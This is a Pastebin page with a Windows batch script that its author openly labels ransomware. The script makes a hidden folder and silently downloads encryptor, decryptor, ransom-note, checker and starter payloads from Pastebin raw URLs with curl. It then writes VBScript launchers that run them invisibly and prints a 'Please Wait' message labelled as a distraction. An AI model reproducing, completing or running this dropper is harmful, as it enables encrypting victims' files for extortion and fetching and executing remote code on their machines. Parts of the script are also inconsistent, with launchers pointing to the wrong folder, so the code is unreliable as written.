Advertisement
Phosgene20

the thing

Jan 12th, 2020
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. @echo off
  2. rem Note this is to remotly donwload all the payloads
  3. rem Ransomware Made By Phosgene AKA Lureake <== Memez Trojen Author
  4. title XanaX v3 Auth
  5.  
  6. :Downloader
  7. mkdir C:\users\%username%\Payloads
  8. attrib +h C:\users\%username%\Payloads /s /d
  9. cd C:\users\%username%\Payloads
  10. rem <= Encryptor =>
  11. curl -o C:\users\%username%\Payloads\encrypt.bat https://pastebin.com/raw/GsTQe0Eu >nul 2>nul
  12. rem <= Decryptor =>
  13. curl -o C:\users\%username%\Payloads\decrypt.bat https://pastebin.com/raw/GP7YrRb1 >nul 2>nul
  14. rem <= RansomeNote =>
  15. curl -o C:\users\%username%\Payloads\Note.bat https://pastebin.com/raw/DPrkUAWb >nul 2>nul
  16. rem <= Checker =>
  17. curl -o C:\users\%username%\Payloads\check.bat https://pastebin.com/raw/Bn8s36Pa >nul 2>nul
  18. rem <= Starter =>
  19. curl -o C:\users\%username%\Payloads\start.bat https://pastebin.com/raw/3g604mx2 >nul 2>nul
  20. echo Set oShell = CreateObject ("Wscript.Shell") >invisible.vbs
  21. echo Dim strArgs >>invisible.vbs
  22. echo strArgs = "cmd /c C:\users\%username%\encrypt.bat" >>invisible.vbs
  23. echo oShell.Run strArgs, 0, false >>invisible.vbs
  24. rem ====================================
  25. echo Set oShell = CreateObject ("Wscript.Shell") >inv.vbs
  26. echo Dim strArgs >>inv.vbs
  27. echo strArgs = "cmd /c C:\users\%username%\start.bat" >>inv.vbs
  28. echo oShell.Run strArgs, 0, false >>inv.vbs
  29. rem -=================-
  30. echo Set oShell = CreateObject ("Wscript.Shell") >inv1.vbs
  31. echo Dim strArgs >>inv1.vbs
  32. echo strArgs = "cmd /c C:\users\%username%\check.bat" >>inv1.vbs
  33. echo oShell.Run strArgs, 0, false >>inv1.vbs
  34. :Distraction
  35. echo Please Wait..
  36. cd C:\users\%username%\Payloads
  37. start inv.vbs
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement